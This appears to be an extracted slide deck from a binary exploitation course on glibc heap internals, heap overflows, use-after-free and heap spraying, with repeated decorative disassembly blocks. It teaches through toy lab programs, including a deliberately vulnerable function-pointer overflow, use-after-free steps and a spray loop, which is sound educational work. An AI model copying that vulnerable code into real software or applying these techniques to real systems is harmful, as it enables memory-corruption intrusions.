                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+59
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

The Heap

- The heap is pool of memory used for dynamic allocations at runtime
  - malloc() grabs memory on the heap
  - free() releases memory on the heap

The Heap

It's just another segment in runtime memory

Basics of Dynamic Memory

```
int main()
{
    char * buffer = NULL;

    /* allocate a 0x100 byte buffer */
    buffer = malloc(0x100);

    /* read input and print it */
    fgets(stdin, buffer, 0x100);
    printf("Hello %s!\n", buffer);

    /* destroy our dynamically allocated buffer */
    free(buffer);
    return 0;
}
```

Heap vs Stack

Heap

- Dynamic memory allocations at runtime
- Objects, big buffers, structs, persistence, larger things
- Slower, Manual
  - Done by the programmer
  - malloc/calloc/recalloc/free
  - new/delete

Stack

- Fixed memory allocations known at compile time
- Local variables, return addresses, function args
- Fast, Automatic
  - Done by the compiler
  - Abstracts away any concept of allocating/de-allocating

Heap Implementations

- Tons of different heap implementations
  - dlmalloc
  - ptmalloc
  - tcmalloc
  - jemalloc
  - nedmalloc
  - Hoard

Heap Implementations

- Tons of different heap implementations
  - dlmalloc
  - ptmalloc
  - tcmalloc
  - jemalloc
  - nedmalloc
  - Hoard
- Some applications even create their own heap implementations!

Heap Implementations

- glibc 2.19 is what we have on the Warzone
  - Default for Ubuntu 14.04 (32bit)
  - Its heap implementation is based on ptmalloc2
  - Very fast, low fragmentation, thread safe

Know Thy Heap

- Everyone uses the heap (dynamic memory) but few usually know much about its internals

- Do you even know the cost of your mallocs?

Malloc Trivia

- malloc(32);
- malloc(4);
- malloc(20);
- malloc(0);

How many bytes on the heap are your malloc chunks really taking up?

Malloc Trivia

- malloc(32);
  - 40 bytes
- malloc(4);
- malloc(20);
- malloc(0);

How many bytes on the heap are your malloc chunks really taking up?

Malloc Trivia

- malloc(32);
  - 40 bytes
- malloc(4);
  - 16 bytes
- malloc(20);
- malloc(0);

How many bytes on the heap are your malloc chunks really taking up?

Malloc Trivia

- malloc(32);
  - 40 bytes
- malloc(4);
  - 16 bytes
- malloc(20);
  - 24 bytes
- malloc(0);

How many bytes on the heap are your malloc chunks really taking up?

Malloc Trivia

- malloc(32);
  - 40 bytes
- malloc(4);
  - 16 bytes
- malloc(20);
  - 24 bytes
- malloc(0);
  - 16 bytes

How many bytes on the heap are your malloc chunks really taking up?

Malloc Trivia

- malloc(32);
  - 40 bytes
- malloc(4);
  - 16 bytes
- malloc(20);
  - 24 bytes
- malloc(0);
  - 16 bytes ← lolwat

How many bytes on the heap are your malloc chunks really taking up?

Malloc Trivia

- malloc(32);
  - 40 bytes
- malloc(4);
  - 16 bytes
- malloc(20);
  - 24 bytes
- malloc(0);
  - 16 bytes ← lolwat

How many bytes on the heap are your malloc chunks really taking up?

How many did you get right?

Maybe one? right?

/levels/lecture/heap/sizes

prints distance between mallocs (size of chunk)

```
lecture@warzone:/levels/lecture/heap$ ./sizes
malloc(32) is at 0x086a6008,  40 bytes to the next pointer
malloc( 4) is at 0x086a6030,  16 bytes to the next pointer
malloc(20) is at 0x086a6040,  24 bytes to the next pointer
malloc( 0) is at 0x086a6058,  16 bytes to the next pointer
malloc(64) is at 0x086a6068,  72 bytes to the next pointer
malloc(32) is at 0x086a60b0,  40 bytes to the next pointer
malloc(32) is at 0x086a60d8,  40 bytes to the next pointer
malloc(32) is at 0x086a6100,  40 bytes to the next pointer
malloc(32) is at 0x086a6128,  40 bytes to the next pointer
lecture@warzone:/levels/lecture/heap$
```

Heap Chunks

```
unsigned int * buffer = NULL;
buffer = malloc(0x100);

//Out comes a heap chunk
```

Heap Chunks

- Previous Chunk Size
  - Size of previous chunk (if prev chunk is free)
- Chunk Size
  - Size of entire chunk including overhead

Heap Chunks

- Data
  - Your newly allocated memory / ptr returned by malloc

Heap Chunks

- Flags
  - Because of byte alignment, the lower 3 bits of the chunk size field would always be zero. Instead they are used for flag bits.

```
0x01 PREV_INUSE – set when previous chunk is in use
0x02 IS_MMAPPED – set if chunk was obtained with mmap()
0x04 NON_MAIN_ARENA – set if chunk belongs to a thread arena
```

/levels/lecture/heap/heap_chunks

prints heap chunks fields

```
lecture@warzone:/levels/lecture/heap$
lecture@warzone:/levels/lecture/heap$ ./heap_chunks
mallocing...
[ prev - 0x00000000 ][ size - 0x00000011 ][ data buffer (0x08276008) -------> ... ] - from malloc(0)
[ prev - 0x00000000 ][ size - 0x00000011 ][ data buffer (0x08276018) -------> ... ] - from malloc(4)
[ prev - 0x00000000 ][ size - 0x00000011 ][ data buffer (0x08276028) -------> ... ] - from malloc(8)
[ prev - 0x00000000 ][ size - 0x00000019 ][ data buffer (0x08276038) -------> ... ] - from malloc(16)
[ prev - 0x00000000 ][ size - 0x00000021 ][ data buffer (0x08276050) -------> ... ] - from malloc(24)
[ prev - 0x00000000 ][ size - 0x00000029 ][ data buffer (0x08276070) -------> ... ] - from malloc(32)
[ prev - 0x00000000 ][ size - 0x00000049 ][ data buffer (0x08276098) -------> ... ] - from malloc(64)
[ prev - 0x00000000 ][ size - 0x00000089 ][ data buffer (0x082760e0) -------> ... ] - from malloc(128)
[ prev - 0x00000000 ][ size - 0x00000109 ][ data buffer (0x08276168) -------> ... ] - from malloc(256)
[ prev - 0x00000000 ][ size - 0x00000209 ][ data buffer (0x08276270) -------> ... ] - from malloc(512)
[ prev - 0x00000000 ][ size - 0x00000409 ][ data buffer (0x08276478) -------> ... ] - from malloc(1024)
[ prev - 0x00000000 ][ size - 0x00000809 ][ data buffer (0x08276880) -------> ... ] - from malloc(2048)
[ prev - 0x00000000 ][ size - 0x00001009 ][ data buffer (0x08277088) -------> ... ] - from malloc(4096)
[ prev - 0x00000000 ][ size - 0x00002009 ][ data buffer (0x08278090) -------> ... ] - from malloc(8192)
[ prev - 0x00000000 ][ size - 0x00004009 ][ data buffer (0x0827a098) -------> ... ] - from malloc(16384)
lecture@warzone:/levels/lecture/heap$
```

Pseudo Memory Map

0x00000000 – Start of memory

0x08048000 – Start of .text Segment

0xb7ff0000 – Top of heap

0xbfff0000 – Top of stack

0xFFFFFFFF – End of memory

Heap Allocations

Heap Allocations

Heap Allocations

Segment Growth

- Heap grows DOWN towards higher memory
- Stack grows UP towards lower memory

Segment Growth

Segment Growth

- Heap grows DOWN towards higher memory
- Stack grows UP towards lower memory
- Any ideas why?

Segment Growth

- Heap grows DOWN towards higher memory
- Stack grows UP towards lower memory
- Any ideas why?
  - Probably historical reasons, gave low memory systems more room to fluctuate

Heap Chunks – In Use

- Heap chunks exist in two states
  - in use (malloc'd)
  - free'd

Heap Chunks – Freed

```
free(buffer);
```

- Forward Pointer
  - A pointer to the next freed chunk
- Backwards Pointer
  - A pointer to the previous freed chunk

/levels/lecture/heap/print_frees

```
lecture@warzone:/levels/lecture/heap$
lecture@warzone:/levels/lecture/heap$ ./print_frees
mallocing...
[ prev - 0x00000000 ][ size - 0x00000011 ][ data buffer (0x08265008) ----> ... ] - Chunk 0x08265000 - In use
[ prev - 0x00000000 ][ size - 0x00000011 ][ data buffer (0x08265018) ----> ... ] - Chunk 0x08265010 - In use
[ prev - 0x00000000 ][ size - 0x00000011 ][ data buffer (0x08265028) ----> ... ] - Chunk 0x08265020 - In use
[ prev - 0x00000000 ][ size - 0x00000019 ][ data buffer (0x08265038) ----> ... ] - Chunk 0x08265030 - In use
[ prev - 0x00000000 ][ size - 0x00000021 ][ data buffer (0x08265050) ----> ... ] - Chunk 0x08265048 - In use
[ prev - 0x00000000 ][ size - 0x00000029 ][ data buffer (0x08265070) ----> ... ] - Chunk 0x08265068 - In use
[ prev - 0x00000000 ][ size - 0x00000049 ][ data buffer (0x08265098) ----> ... ] - Chunk 0x08265090 - In use
[ prev - 0x00000000 ][ size - 0x00000089 ][ data buffer (0x082650e0) ----> ... ] - Chunk 0x082650d8 - In use
[ prev - 0x00000000 ][ size - 0x00000109 ][ data buffer (0x08265168) ----> ... ] - Chunk 0x08265160 - In use
[ prev - 0x00000000 ][ size - 0x00000209 ][ data buffer (0x08265270) ----> ... ] - Chunk 0x08265268 - In use
[ prev - 0x00000000 ][ size - 0x00000409 ][ data buffer (0x08265478) ----> ... ] - Chunk 0x08265470 - In use
[ prev - 0x00000000 ][ size - 0x00000809 ][ data buffer (0x08265880) ----> ... ] - Chunk 0x08265878 - In use
[ prev - 0x00000000 ][ size - 0x00001009 ][ data buffer (0x08266088) ----> ... ] - Chunk 0x08266080 - In use
[ prev - 0x00000000 ][ size - 0x00002009 ][ data buffer (0x08267090) ----> ... ] - Chunk 0x08267088 - In use
[ prev - 0x00000000 ][ size - 0x00004009 ][ data buffer (0x08269098) ----> ... ] - Chunk 0x08269090 - In use

freeing every other chunk...
[ prev - 0x00000000 ][ size - 0x00000011 ][ fd - 0x08265020 ][ bk - 0x08265048 ] - Chunk 0x08265000 - Freed
[ prev - 0x00000010 ][ size - 0x00000010 ][ data buffer (0x08265018) ----> ... ] - Chunk 0x08265010 - In use
[ prev - 0x00000000 ][ size - 0x00000011 ][ fd - 0x08266080 ][ bk - 0x08265000 ] - Chunk 0x08265020 - Freed
[ prev - 0x00000010 ][ size - 0x00000018 ][ data buffer (0x08265038) ----> ... ] - Chunk 0x08265030 - In use
[ prev - 0x00000000 ][ size - 0x00000021 ][ fd - 0x08265000 ][ bk - 0xb7730450 ] - Chunk 0x08265048 - Freed
[ prev - 0x00000020 ][ size - 0x00000028 ][ data buffer (0x08265070) ----> ... ] - Chunk 0x08265068 - In use
[ prev - 0x00000000 ][ size - 0x00000049 ][ fd - 0xb7730450 ][ bk - 0x08265160 ] - Chunk 0x08265090 - Freed
[ prev - 0x00000048 ][ size - 0x00000088 ][ data buffer (0x082650e0) ----> ... ] - Chunk 0x082650d8 - In use
[ prev - 0x00000000 ][ size - 0x00000109 ][ fd - 0x08265090 ][ bk - 0x08265470 ] - Chunk 0x08265160 - Freed
[ prev - 0x00000108 ][ size - 0x00000208 ][ data buffer (0x08265270) ----> ... ] - Chunk 0x08265268 - In use
[ prev - 0x00000000 ][ size - 0x00000409 ][ fd - 0x08265160 ][ bk - 0x08266080 ] - Chunk 0x08265470 - Freed
[ prev - 0x00000408 ][ size - 0x00000808 ][ data buffer (0x08265880) ----> ... ] - Chunk 0x08265878 - In use
[ prev - 0x00000000 ][ size - 0x00001009 ][ fd - 0x08265470 ][ bk - 0x08265020 ] - Chunk 0x08266080 - Freed
[ prev - 0x00001008 ][ size - 0x00002008 ][ data buffer (0x08267090) ----> ... ] - Chunk 0x08267088 - In use
lecture@warzone:/levels/lecture/heap$
```

/levels/lecture/heap/print_frees

prints heap chunks in their different states

```
freeing every other chunk...
[ prev - 0x00000000 ][ size - 0x00000011 ][ fd - 0x08265020 ][ bk - 0x08265048 ] - Chunk 0x08265000 - Freed
[ prev - 0x00000010 ][ size - 0x00000010 ][ data buffer (0x08265018) ----> ... ] - Chunk 0x08265010 - In use
[ prev - 0x00000000 ][ size - 0x00000011 ][ fd - 0x08266080 ][ bk - 0x08265000 ] - Chunk 0x08265020 - Freed
[ prev - 0x00000010 ][ size - 0x00000018 ][ data buffer (0x08265038) ----> ... ] - Chunk 0x08265030 - In use
[ prev - 0x00000000 ][ size - 0x00000021 ][ fd - 0x08265000 ][ bk - 0xb7730450 ] - Chunk 0x08265048 - Freed
[ prev - 0x00000020 ][ size - 0x00000028 ][ data buffer (0x08265070) ----> ... ] - Chunk 0x08265068 - In use
[ prev - 0x00000000 ][ size - 0x00000049 ][ fd - 0xb7730450 ][ bk - 0x08265160 ] - Chunk 0x08265090 - Freed
[ prev - 0x00000048 ][ size - 0x00000088 ][ data buffer (0x082650e0) ----> ... ] - Chunk 0x082650d8 - In use
[ prev - 0x00000000 ][ size - 0x00000109 ][ fd - 0x08265090 ][ bk - 0x08265470 ] - Chunk 0x08265160 - Freed
[ prev - 0x00000108 ][ size - 0x00000208 ][ data buffer (0x08265270) ----> ... ] - Chunk 0x08265268 - In use
[ prev - 0x00000000 ][ size - 0x00000409 ][ fd - 0x08265160 ][ bk - 0x08266080 ] - Chunk 0x08265470 - Freed
[ prev - 0x00000408 ][ size - 0x00000808 ][ data buffer (0x08265880) ----> ... ] - Chunk 0x08265878 - In use
[ prev - 0x00000000 ][ size - 0x00001009 ][ fd - 0x08265470 ][ bk - 0x08265020 ] - Chunk 0x08266080 - Freed
[ prev - 0x00001008 ][ size - 0x00002008 ][ data buffer (0x08267090) ----> ... ] - Chunk 0x08267088 - In use
lecture@warzone:/levels/lecture/heap$
```

From Glibc 2.19 Source (malloc.c)

```
struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};
```

Heap Implementations

- Heaps go way deeper
  - Arenas, Binning
  - Chunk coalescing
  - Fragmentation

- The details regarding these are heavily implementation reliant, and more relevant when attempting to exploit heap metadata

Heap Implementations

- If you want to read more about the specifics of the glibc heap implementation...
- https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/
- Or read the source!

Lecture Overview

- Heap Overview
- Heap Exploitation
  - Heap Overflows
  - Use After Free
  - Heap Spraying
  - Metadata Corruption

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+59
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

HEAP EXPLOITATION

Common heap related concepts as used in exploitation

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Lecture Overview

- Heap Overview
- Heap Exploitation
  - Heap Overflows
  - Use After Free
  - Heap Spraying
  - Metadata Corruption

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Heap Overflows

- Buffer overflows are basically the same on the heap as they are on the stack

Heap Overflows

- Buffer overflows are basically the same on the heap as they are on the stack
- Heap cookies/canaries aren't a thing

Heap Overflows

- Buffer overflows are basically the same on the heap as they are on the stack
- Heap cookies/canaries aren't a thing
  - No 'return' addresses to protect

Heap Overflows

Heap Overflows

Heap Overflows

- In the real world, lots of cool and complex things like objects/structs end up on the heap

```
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], ebx
jnz     short loc_313066
mov     eax, [ebp+var_70]
cmp     eax, [ebp+var_84]
jb      short loc_313066
sub     eax, [ebp+var_84]
push    esi
push    esi
push    eax
push    edi
call    sub_31486A
test    eax, eax
push    esi
lea     eax, [ebp+arg_0]
push    eax
mov     esi, 1D0h
push    esi
push    [ebp+arg_4]
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], esi
jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5B
push    0Dh
call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
call    sub_3140F3
test    eax, eax
jg      short loc_31307D
call    sub_3140F3
jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
call    sub_3140F3
and     eax, 0FFFFh
or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
mov     [ebp+var_4], eax
```

Heap Overflows

- In the real world, lots of cool and complex things like objects/structs end up on the heap
  - Anything that handles the data you just corrupted is now viable attack surface in the application

Heap Overflows

- In the real world, lots of cool and complex things like objects/structs end up on the heap
  - Anything that handles the data you just corrupted is now viable attack surface in the application
- It's common to put function pointers in structs which generally are malloc'd on the heap

Heap Overflows

- In the real world, lots of cool and complex things like objects/structs end up on the heap
  - Anything that handles the data you just corrupted is now viable attack surface in the application
- It's common to put function pointers in structs which generally are malloc'd on the heap
  - Overwrite a function pointer on the heap, and force a codepath to call that object's function!

Heap Overflows

```
struct toystr {
    void (* message)(char *);
    char buffer[20];
};
```

Heap Overflows

```
coolguy = malloc(sizeof(struct toystr));
lameguy = malloc(sizeof(struct toystr));

coolguy->message = &print_cool;
lameguy->message = &print_meh;

printf("Input coolguy's name: ");
fgets(coolguy->buffer, 200, stdin);  // oopz...
coolguy->buffer[strcspn(coolguy->buffer, "\n")] = 0;

printf("Input lameguy's name: ");
fgets(lameguy->buffer, 20, stdin);
lameguy->buffer[strcspn(lameguy->buffer, "\n")] = 0;

coolguy->message(coolguy->buffer);
lameguy->message(lameguy->buffer);
```

Heap Overflows

```
coolguy = malloc(sizeof(struct toystr));
lameguy = malloc(sizeof(struct toystr));

coolguy->message = &print_cool;
lameguy->message = &print_meh;

printf("Input coolguy's name: ");
fgets(coolguy->buffer, 200, stdin);  // oopz...
coolguy->buffer[strcspn(coolguy->buffer, "\n")] = 0;

printf("Input lameguy's name: ");
fgets(lameguy->buffer, 20, stdin);
lameguy->buffer[strcspn(lameguy->buffer, "\n")] = 0;

coolguy->message(coolguy->buffer);
lameguy->message(lameguy->buffer);
```

Silly heap overflow

Heap Overflows

Heap Overflows

Heap Overflows

```
coolguy = malloc(sizeof(struct toystr));
lameguy = malloc(sizeof(struct toystr));

coolguy->message = &print_cool;
lameguy->message = &print_meh;

printf("Input coolguy's name: ");
fgets(coolguy->buffer, 200, stdin);  // oopz...
coolguy->buffer[strcspn(coolguy->buffer, "\n")] = 0;

printf("Input lameguy's name: ");
fgets(lameguy->buffer, 20, stdin);
lameguy->buffer[strcspn(lameguy->buffer, "\n")] = 0;

coolguy->message(coolguy->buffer);
lameguy->message(lameguy->buffer);
```

Silly heap overflow

Overwritten function pointer!

/levels/lecture/heap/heap_smash

toy function pointer overwrite on heap

Lecture Overview

- Heap Overview
- Heap Exploitation
  - Heap Overflows
  - Use After Free
  - Heap Spraying
  - Metadata Corruption

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Course Terminology

- Use After Free
  - A class of vulnerability where data on the heap is freed, but a leftover reference or ‘dangling pointer’ is used by the code as if the data were still valid
  - Most popular in Web Browsers, complex programs
  - Also known as UAF

Use After Free

Use After Free

Use After Free

Use After Free

Course Terminology

- Dangling Pointer
  - A left over pointer in your code that references free'd data and is prone to be re-used
  - As the memory it's pointing at was freed, there's no guarantees on what data is there now
  - Also known as stale pointer, wild pointer

Use After Free

Use After Free

Use After Free

Use After Free

Exploiting a Use After Free

- To exploit a UAF, you usually have to allocate a different type of object over the one you just freed

Exploiting a Use After Free

- To exploit a UAF, you usually have to allocate a different type of object over the one you just freed

```
struct toystr {
    void (* message)(char *);
    char buffer[20];
};
```

```
struct person {
    int favorite_num;
    int age;
    char name[16];
};
```

Exploiting a Use After Free

- To exploit a UAF, you usually have to allocate a different type of object over the one you just freed

assume dangling pointer exists

1. free()

```
struct toystr {
    void (* message)(char *);
    char buffer[20];
};
```

```
struct person {
    int favorite_num;
    int age;
    char name[16];
};
```

Exploiting a Use After Free

- To exploit a UAF, you usually have to allocate a different type of object over the one you just freed

assume dangling pointer exists

1. free()

```
struct toystr {
    void (* message)(char *);
    char buffer[20];
};
```

2. malloc()

```
struct person {
    int favorite_num;
    int age;
    char name[16];
};
```

Exploiting a Use After Free

- To exploit a UAF, you usually have to allocate a different type of object over the one you just freed

assume dangling pointer exists

1. free()

```
struct toystr {
    void (* message)(char *);
    char buffer[20];
};
```

2. malloc()

```
struct person {
    int favorite_num;
    int age;
    char name[16];
};
```

3. Set favorite_num = 0x41414141

Exploiting a Use After Free

- To exploit a UAF, you usually have to allocate a different type of object over the one you just freed

assume dangling pointer exists

1. free()

```
struct toystr {
    void (* message)(char *);
    char buffer[20];
};
```

2. malloc()

```
struct person {
    int favorite_num;
    int age;
    char name[16];
};
```

3. Set favorite_num = 0x41414141

4. Force dangling pointer to call 'message()'

/levels/lecture/heap/heap_uaf

your very first use after free!

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Use After Free

- You actually don't need any form of memory corruption to leverage a use after free
- It's simply an implementation issue
  - pointer mismanagement

UAF in the Wild

- The ‘hot’ vulnerability nowadays, almost every modern browser exploit leverages a UAF

IE CVE Statistics

http://blog.tempest.com.br/breno-cunha/perspectives-on-exploit-development-and-cyber-attacks.html

IE CVE Statistics

http://blog.tempest.com.br/breno-cunha/perspectives-on-exploit-development-and-cyber-attacks.html

UAF in the Wild

- The ‘hot’ vulnerability nowadays, almost every modern browser exploit leverages a UAF

- Why are they so well liked?

UAF in the Wild

- The ‘hot’ vulnerability nowadays, almost every modern browser exploit leverages a UAF

- Why are they so well liked?
  - Doesn’t require any memory corruption to use

UAF in the Wild

- The ‘hot’ vulnerability nowadays, almost every modern browser exploit leverages a UAF

- Why are they so well liked?
  - Doesn’t require any memory corruption to use
  - Can be used for info leaks

UAF in the Wild

- The ‘hot’ vulnerability nowadays, almost every modern browser exploit leverages a UAF

- Why are they so well liked?
  - Doesn’t require any memory corruption to use
  - Can be used for info leaks
  - Can be used to trigger memory corruption or get control of EIP

Detecting UAF Vulnerabilities

- From the defensive perspective, trying to detect use after free vulnerabilities in complex applications is very difficult, even in industry

- Why?

Detecting UAF Vulnerabilities

- From the defensive perspective, trying to detect use after free vulnerabilities in complex applications is very difficult, even in industry

- Why?
  - UAF's only exist in certain states of execution, so statically scanning source for them won't go far

Detecting UAF Vulnerabilities

- From the defensive perspective, trying to detect use after free vulnerabilities in complex applications is very difficult, even in industry

- Why?
  - UAF's only exist in certain states of execution, so statically scanning source for them won't go far
  - They're usually only found through crashes, but symbolic execution and constraint solvers are helping find these bugs faster

Lecture Overview

- Heap Overview
- Heap Exploitation
  - Heap Overflows
  - Use After Free
  - Heap Spraying
  - Metadata Corruption

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5B
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Course Terminology

- Heap Spraying
  - A technique used to increase exploit reliability, by filling the heap with large chunks of data relevant to the exploit you're trying to land
  - It can assist with bypassing ASLR
  - A heap spray is not a vulnerability or security flaw

Heap Spray in Action

0x00000000 – Start of memory

0x08048000 – .text Segment in ELF

0x09104000 – Top of heap

```
filler = "AAAAAAAAAAAAAA...";
for(i = 0; i < 3000; i++)
{
    temp = malloc(1000000);
    memcpy(temp, filler, 1000000);
}
```

0xbfff0000 – Top of stack

0xFFFFFFFF – End of memory

Heap Spray in Action

0x00000000 – Start of memory

0x08048000 – .text Segment in ELF

0x09104000 – Top of heap

```
